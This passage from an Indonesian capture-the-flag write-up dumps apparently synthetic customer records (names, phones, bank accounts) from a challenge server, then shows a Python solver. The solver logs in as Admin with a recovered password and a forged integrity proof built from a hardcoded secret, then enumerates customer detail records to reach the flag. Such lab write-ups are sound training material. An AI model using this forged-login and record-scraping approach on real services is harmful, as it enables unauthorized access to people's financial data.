"4e61f709cfe3e441", "id": 422, "name": "Rudi Budiman", "phone": "081333595616", 
"status": "aktif"} 
  BRACE: {"bank_account": "611398986818", "bank_name": "BCA", "customer_id": 
"b75b186a47516be2", "id": 423, "name": "Gilang Kurniawan", "phone": "085288953690", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "13765158815793", "bank_name": "Bank Jatim", 
"customer_id": "21f2c0d2b933a368", "id": 424, "name": "Fajar Siregar", "phone": 
"082294353537", "status": "aktif"} 
  BRACE: {"bank_account": "3270216487120602", "bank_name": "BNI", "customer_id": 

Presented by @hackitbraw_ub 



138 

"c76ce230ce088ad8", "id": 425, "name": "Gilang Nasution", "phone": "085155116682", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "0157676472", "bank_name": "BRI", "customer_id": 
"f78078e952228c8f", "id": 426, "name": "Eka Pardede", "phone": "082168341559", 
"status": "aktif"} 
  BRACE: {"bank_account": "3475098898", "bank_name": "Danamon", "customer_id": 
"e3b9bf1f4a16367c", "id": 427, "name": "Dian Susanto", "phone": "085276572894", 
"status": "aktif"} 
  BRACE: {"bank_account": "5421447732", "bank_name": "CIMB Niaga", "customer_id": 
"52f95f2957717167", "id": 428, "name": "Taufik Hidayat", "phone": "082103684995", 
"status": "aktif"} 
  BRACE: {"bank_account": "070534967827", "bank_name": "CIMB Niaga", "customer_id": 
"e88f4544d3dfb758", "id": 429, "name": "Dian Utama", "phone": "082288209088", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "28547815061853", "bank_name": "BTN", "customer_id": 
"34b43ebd6cc27702", "id": 430, "name": "Eka Cahyono", "phone": "085112415131", 
"status": "aktif"} 
  BRACE: {"bank_account": "727423183061", "bank_name": "Bank Jatim", "customer_id": 
"891fcceb1a65e072", "id": 431, "name": "Hendri Mulyadi", "phone": "081232963347", 
"status": "aktif"} 
  BRACE: {"bank_account": "434776958741", "bank_name": "Mandiri", "customer_id": 
"6e8ff98cd026cc2b", "id": 432, "name": "Sinta Hidayat", "phone": "081264969357", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "779630448360", "bank_name": "BTN", "customer_id": 
"dfef18b08dac13e6", "id": 433, "name": "Yusuf Manurung", "phone": "082261275156", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "76392831995298", "bank_name": "BCA", "customer_id": 
"92a006fd6fbdfdf5", "id": 434, "name": "Wati Rangkuti", "phone": "085764047350", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "286342556383", "bank_name": "BCA", "customer_id": 
"fbf1c605a4197c87", "id": 435, "name": "Nur Supriadi", "phone": "085258108358", 
"status": "aktif"} 
  BRACE: {"bank_account": "16624111860089", "bank_name": "BRI", "customer_id": 
"154d91d330c5aaca", "id": 436, "name": "Irfan Hutabarat", "phone": "085802440330", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "4976461368", "bank_name": "CIMB Niaga", "customer_id": 
"0f1ae19c311edc1a", "id": 437, "name": "Hendra Firmansyah", "phone": 
"085156804473", "status": "nonaktif"} 
  BRACE: {"bank_account": "5791452118237931", "bank_name": "BRI", "customer_id": 
"c908dcff09b19612", "id": 438, "name": "Diky Hutabarat", "phone": "085281739063", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "38787535778811", "bank_name": "Danamon", "customer_id": 
"3938923113f95d10", "id": 439, "name": "Wahyu Hasibuan", "phone": "085152059960", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "7287286604164485", "bank_name": "BPD DIY", 
"customer_id": "a8015717e38408a3", "id": 440, "name": "Rina Santoro", "phone": 
"081228123710", "status": "aktif"} 
  BRACE: {"bank_account": "22870562271043", "bank_name": "Mandiri", "customer_id": 
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"c712784871857848", "id": 441, "name": "Nurul Wahyudi", "phone": "082295894773", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "03446945964883", "bank_name": "BNI", "customer_id": 
"700081eded65d089", "id": 442, "name": "Lestari Utama", "phone": "081297921583", 
"status": "aktif"} 
  BRACE: {"bank_account": "99949732033192", "bank_name": "BRI", "customer_id": 
"06c117d03b974197", "id": 443, "name": "Diky Kurniawan", "phone": "085124912896", 
"status": "aktif"} 
  BRACE: {"bank_account": "3866675485", "bank_name": "BTN", "customer_id": 
"a2d45f39406d4a50", "id": 444, "name": "Fajar Raharjo", "phone": "081228767548", 
"status": "aktif"} 
  BRACE: {"bank_account": "20575639836520", "bank_name": "Mandiri", "customer_id": 
"ca072a9fcb226a7c", "id": 445, "name": "Hendri Siregar", "phone": "082168774186", 
"status": "aktif"} 
  BRACE: {"bank_account": "4409079772", "bank_name": "Bank Jatim", "customer_id": 
"caf55d852b2f48b0", "id": 446, "name": "Sri Situmorang", "phone": "085180940476", 
"status": "aktif"} 
  BRACE: {"bank_account": "0518439055295806", "bank_name": "Danamon", 
"customer_id": "1ce8ebbf868a98d1", "id": 447, "name": "Ahmad Situmorang", "phone": 
"081292221610", "status": "aktif"} 
  BRACE: {"bank_account": "2044851579197111", "bank_name": "BRI", "customer_id": 
"66c5788ee0d444ec", "id": 448, "name": "Andi Saputra", "phone": "082141270493", 
"status": "aktif"} 
  BRACE: {"bank_account": "240642429563", "bank_name": "Mandiri", "customer_id": 
"5a8fecae7725e674", "id": 449, "name": "Fajar Handoko", "phone": "081220357134", 
"status": "aktif"} 
  BRACE: {"bank_account": "2096289365435884", "bank_name": "BNI", "customer_id": 
"8e05638554ca5a65", "id": 450, "name": "Wahyu Sumarto", "phone": "085841759558", 
"status": "aktif"} 
  BRACE: {"bank_account": "59690515026755", "bank_name": "BNI", "customer_id": 
"308200464af1db94", "id": 451, "name": "Wahyu Kurniawan", "phone": 
"085840182727", "status": "aktif"} 
  BRACE: {"bank_account": "6734595764038166", "bank_name": "CIMB Niaga", 
"customer_id": "b7dc6b7f31752fc4", "id": 452, "name": "Maya Nugraha", "phone": 
"085882079799", "status": "aktif"} 
  BRACE: {"bank_account": "1425762702", "bank_name": "Mandiri", "customer_id": 
"83acec3122648569", "id": 453, "name": "Agus Budiman", "phone": "082149839225", 
"status": "aktif"} 
  BRACE: {"bank_account": "2517863767316252", "bank_name": "Danamon", 
"customer_id": "b8d857208ca4bee3", "id": 454, "name": "Nur Hidayat", "phone": 
"082236132850", "status": "nonaktif"} 
  BRACE: {"bank_account": "58099613273034", "bank_name": "Danamon", "customer_id": 
"53ac025f0b4d401d", "id": 455, "name": "Reza Raharjo", "phone": "085279039235", 
"status": "aktif"} 
  BRACE: {"bank_account": "8171516025298670", "bank_name": "Bank Jatim", 
"customer_id": "af3c26d78d936096", "id": 456, "name": "Eka Pratama", "phone": 
"085146704622", "status": "nonaktif"} 
  BRACE: {"bank_account": "5851268612059438", "bank_name": "BPD DIY", 
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"customer_id": "7c70b721ef06493a", "id": 457, "name": "Eka Supriadi", "phone": 
"081246419785", "status": "nonaktif"} 
  BRACE: {"bank_account": "65408424560754", "bank_name": "BCA", "customer_id": 
"968f5ecf44cb5091", "id": 458, "name": "Dewi Tanjung", "phone": "085101775095", 
"status": "aktif"} 
  BRACE: {"bank_account": "4579389701550291", "bank_name": "Danamon", 
"customer_id": "9f3705e98fcb376a", "id": 459, "name": "Diky Santoso", "phone": 
"085732181227", "status": "aktif"} 
  BRACE: {"bank_account": "944988305973", "bank_name": "Danamon", "customer_id": 
"b73e5349a4ac8acc", "id": 460, "name": "Lestari Mulyadi", "phone": "085166024161", 
"status": "aktif"} 
  BRACE: {"bank_account": "47951330531949", "bank_name": "Bank Jatim", 
"customer_id": "59e7a03715eb2c05", "id": 461, "name": "Gilang Hutabarat", "phone": 
"082144063062", "status": "aktif"} 
  BRACE: {"bank_account": "7382646091785138", "bank_name": "BSI", "customer_id": 
"52aa066eb383381e", "id": 462, "name": "Reza Ginting", "phone": "085880555572", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "0487368269116331", "bank_name": "BPD DIY", 
"customer_id": "3f96eaf3bd382cc4", "id": 463, "name": "Mega Tanjung", "phone": 
"081229929596", "status": "nonaktif"} 
  BRACE: {"bank_account": "3677472264085721", "bank_name": "Danamon", 
"customer_id": "89e3dac3c80734e4", "id": 464, "name": "Desy Hasibuan", "phone": 
"085236945515", "status": "nonaktif"} 
  BRACE: {"bank_account": "0593297150968832", "bank_name": "Bank Jatim", 
"customer_id": "7e63ba1bc6903c97", "id": 465, "name": "Arif Hasibuan", "phone": 
"082209329981", "status": "nonaktif"} 
  BRACE: {"bank_account": "973278195237", "bank_name": "BNI", "customer_id": 
"a2300d3b51f8b11d", "id": 466, "name": "Sinta Saputra", "phone": "085224103977", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "7046056876112491", "bank_name": "BRI", "customer_id": 
"2f2045d0c0a31a50", "id": 467, "name": "Nurul Iswanto", "phone": "085716481980", 
"status": "aktif"} 
  BRACE: {"bank_account": "47574949022840", "bank_name": "Mandiri", "customer_id": 
"3e51a670fdcd0a67", "id": 468, "name": "Ani Iswanto", "phone": "082241517734", 
"status": "aktif"} 
  BRACE: {"bank_account": "4303942904588679", "bank_name": "BRI", "customer_id": 
"88ac148dd49c04af", "id": 469, "name": "Sinta Nugraha", "phone": "085177422294", 
"status": "aktif"} 
  BRACE: {"bank_account": "5343324913", "bank_name": "BSI", "customer_id": 
"bf1af35f02bfb7a4", "id": 470, "name": "Nurul Situmorang", "phone": "085772872760", 
"status": "aktif"} 
  BRACE: {"bank_account": "0798334233", "bank_name": "Bank Jatim", "customer_id": 
"0b19670838fffe48", "id": 471, "name": "Anton Santoso", "phone": "085715814888", 
"status": "aktif"} 
  BRACE: {"bank_account": "997718051371", "bank_name": "Bank Jatim", "customer_id": 
"3b3d2fb742a93086", "id": 472, "name": "Desy Siregar", "phone": "081331284033", 
"status": "aktif"} 
  BRACE: {"bank_account": "3997046947258784", "bank_name": "CIMB Niaga", 
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"customer_id": "685e00a56d137111", "id": 473, "name": "Reza Handoko", "phone": 
"082297490961", "status": "aktif"} 
  BRACE: {"bank_account": "2216417582313348", "bank_name": "CIMB Niaga", 
"customer_id": "0f5561079a5b8abc", "id": 474, "name": "Mega Legowo", "phone": 
"085171270587", "status": "aktif"} 
  BRACE: {"bank_account": "87964347452455", "bank_name": "BSI", "customer_id": 
"807229662c7821e9", "id": 475, "name": "Ratna Kurniawan", "phone": "082152362292", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "05665883398741", "bank_name": "BNI", "customer_id": 
"9dac530bc10cb815", "id": 476, "name": "Dewi Hasibuan", "phone": "085227403344", 
"status": "aktif"} 
  BRACE: {"bank_account": "1054857417", "bank_name": "BRI", "customer_id": 
"4406be668e54af20", "id": 477, "name": "Diky Iswanto", "phone": "085806734996", 
"status": "aktif"} 
  BRACE: {"bank_account": "3598488402155732", "bank_name": "BSI", "customer_id": 
"9b271d61ba0b1350", "id": 478, "name": "Linda Kristianto", "phone": "085722949381", 
"status": "aktif"} 
  BRACE: {"bank_account": "8509608587", "bank_name": "CIMB Niaga", "customer_id": 
"4f29a35b2048e52b", "id": 479, "name": "Gilang Halim", "phone": "081221666708", 
"status": "aktif"} 
  BRACE: {"bank_account": "164772512957", "bank_name": "BTN", "customer_id": 
"f0f807860a2ec703", "id": 480, "name": "Rosa Raharjo", "phone": "081381828197", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "439587395923", "bank_name": "BRI", "customer_id": 
"6a9b8638eea3d54f", "id": 481, "name": "Siti Hutabarat", "phone": "085109600356", 
"status": "aktif"} 
  BRACE: {"bank_account": "426433502716", "bank_name": "BCA", "customer_id": 
"68fb673596c657d8", "id": 482, "name": "Sri Wijaya", "phone": "081228515533", 
"status": "aktif"} 
  BRACE: {"bank_account": "317955633185", "bank_name": "Bank Jatim", "customer_id": 
"71cfae3c6a648433", "id": 483, "name": "Fitri Supriadi", "phone": "085791128981", 
"status": "aktif"} 
  BRACE: {"bank_account": "167045023290", "bank_name": "BRI", "customer_id": 
"245216be03a0ac73", "id": 484, "name": "Budi Ginting", "phone": "085761554164", 
"status": "aktif"} 
  BRACE: {"bank_account": "2282251207346549", "bank_name": "BSI", "customer_id": 
"55c177a8783d0aa1", "id": 485, "name": "Rian Iswanto", "phone": "081209345962", 
"status": "aktif"} 
  BRACE: {"bank_account": "0531611776", "bank_name": "BTN", "customer_id": 
"5807fc7458959d5f", "id": 486, "name": "Bayu Santoso", "phone": "082160869822", 
"status": "aktif"} 
  BRACE: {"bank_account": "231164913342", "bank_name": "CIMB Niaga", "customer_id": 
"8aa9cd380c39f02e", "id": 487, "name": "Rina Manurung", "phone": "085291779323", 
"status": "aktif"} 
  BRACE: {"bank_account": "020326509775", "bank_name": "Mandiri", "customer_id": 
"1ba962af4f9991a0", "id": 488, "name": "Taufik Wibowo", "phone": "085265290603", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "24578715841560", "bank_name": "BTN", "customer_id": 
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"a3a8290023f7f47e", "id": 489, "name": "Yusuf Kurniawan", "phone": "085894871485", 
"status": "aktif"} 
  BRACE: {"bank_account": "8268323035", "bank_name": "BTN", "customer_id": 
"0f17fe8f685f16d3", "id": 490, "name": "Putri Kusuma", "phone": "081384254768", 
"status": "aktif"} 
  BRACE: {"bank_account": "896340646867", "bank_name": "Bank Jatim", "customer_id": 
"d507eaf8811c4f86", "id": 491, "name": "Reza Situmorang", "phone": "082282521293", 
"status": "aktif"} 
  BRACE: {"bank_account": "2362669335134261", "bank_name": "BPD DIY", 
"customer_id": "0f878b8229ef0107", "id": 492, "name": "Andi Nasution", "phone": 
"085139910622", "status": "aktif"} 
  BRACE: {"bank_account": "3741897215406417", "bank_name": "Danamon", 
"customer_id": "3a1ea06162ecce79", "id": 493, "name": "Yusuf Pratama", "phone": 
"085150184819", "status": "nonaktif"} 
  BRACE: {"bank_account": "6014448564510173", "bank_name": "BPD DIY", 
"customer_id": "1f536acb2cc4a57f", "id": 494, "name": "Taufik Harahap", "phone": 
"082281199537", "status": "nonaktif"} 
  BRACE: {"bank_account": "599660577980", "bank_name": "Danamon", "customer_id": 
"100a69fa19325f5e", "id": 495, "name": "Gilang Suyanto", "phone": "085709191911", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "4555347057423885", "bank_name": "Danamon", 
"customer_id": "7066f1065f39a1a5", "id": 496, "name": "Anton Wijaya", "phone": 
"082292051460", "status": "aktif"} 
  BRACE: {"bank_account": "634755752250", "bank_name": "BNI", "customer_id": 
"b4eeb32c5d358a07", "id": 497, "name": "Lestari Pardede", "phone": "082254116597", 
"status": "aktif"} 
  BRACE: {"bank_account": "9642585626", "bank_name": "BNI", "customer_id": 
"77655128d10a4fc5", "id": 498, "name": "Irfan Sumarto", "phone": "085188269131", 
"status": "aktif"} 
  BRACE: {"bank_account": "337320430977", "bank_name": "Danamon", "customer_id": 
"0986a4931ded0fc7", "id": 499, "name": "Fajar Gunawan", "phone": "085803824073", 
"status": "aktif"} 
  BRACE: {"bank_account": "585125389218", "bank_name": "Bank Jatim", "customer_id": 
"e97bbbf268840f51", "id": 500, "name": "Arif Hidayat", "phone": "085796454655", 
"status": "aktif"} 

Wow sangat banyak , dan setelah dianalisis ternyata ketemu ada di ID 247 

{"_ref": "ca4d672b6ae6455e", "bank_account": "4870494787300244", "bank_name": 
"Bank Jatim", "customer_id": "f4011d1f472a762b", "id": 247, "name": "Arif Mulyadi", 
"phone": "085162879232", "status": "nonaktif"} 

Lalu disini saya menjalan final solver scriptnya dengan script berikut. 

#!/usr/bin/env python3 

import hashlib, json, urllib.request 

 

URL = "http://144.91.64.93:14927" 
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SECRET = bytes.fromhex("7a3f9c2d8b1e4f6a0d5c3e7b9a2f4d8c") 

 

def http(method, path, data=None, headers=None): 

    hdrs = {"Content-Type": "application/json"} 

    if headers: hdrs.update(headers) 

    body = json.dumps(data).encode() if data is not None else None 

    req = urllib.request.Request(URL + path, data=body, method=method, headers=hdrs) 

    with urllib.request.urlopen(req, timeout=15) as r: 

        return r.read().decode() 

 

nonce = json.loads(http("GET", "/api/nonce"))["nonce_token"] 

proof = hashlib.sha256(nonce.split(":")[0].encode() + SECRET).hexdigest() 

token = json.loads(http("POST", "/api/login", { 

    "username": "Admin", "password": "inibeneranadmin", 

    "nonce_token": nonce, "integrity_proof": proof, 

}))["token"] 

auth = {"Authorization": f"Bearer {token}"} 

 

# 1. Detail customer 247 

print("=== customer 247 (f4011d1f472a762b) ===") 

print(http("POST", "/api/customer/detail", {"cid": "f4011d1f472a762b", "full": 

True}, auth)) 

print() 

 

# 2. Detail _ref sebagai customer_id 

print("=== _ref as cid (ca4d672b6ae6455e) ===") 

print(http("POST", "/api/customer/detail", {"cid": "ca4d672b6ae6455e", "full": 

True}, auth)) 

print() 

 

# 3. Coba GET _ref 

print("=== GET _ref ===") 

try: 

    print(http("GET", "/api/customer/ca4d672b6ae6455e", None, auth)) 

except Exception as e: 

    print(f"err: {e}") 

print() 

 

# 4. Detail 247 dengan parameter tambahan 

print("=== Variasi cid 247 ===") 

for p in [ 

    {"cid": "f4011d1f472a762b"}, 

    {"cid": "f4011d1f472a762b", "ref": True}, 

    {"cid": "f4011d1f472a762b", "full": True, "ref": True}, 

    {"cid": "f4011d1f472a762b", "_ref": "ca4d672b6ae6455e"}, 

]: 

    print(f"  {p} -> {http('POST', '/api/customer/detail', p, auth)[:300]}") 
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FLAG: 

IFEST26{GILAKOKKERENBANGETKAMUBANGBISAKETEMUFLAGDARI_SEKIANBANYAKN

YADATASCAMMSURATUNDANGANAPK} 

AI Transparency : https://chat.deepseek.com/share/b7i6ncc841ayiz2zz5  
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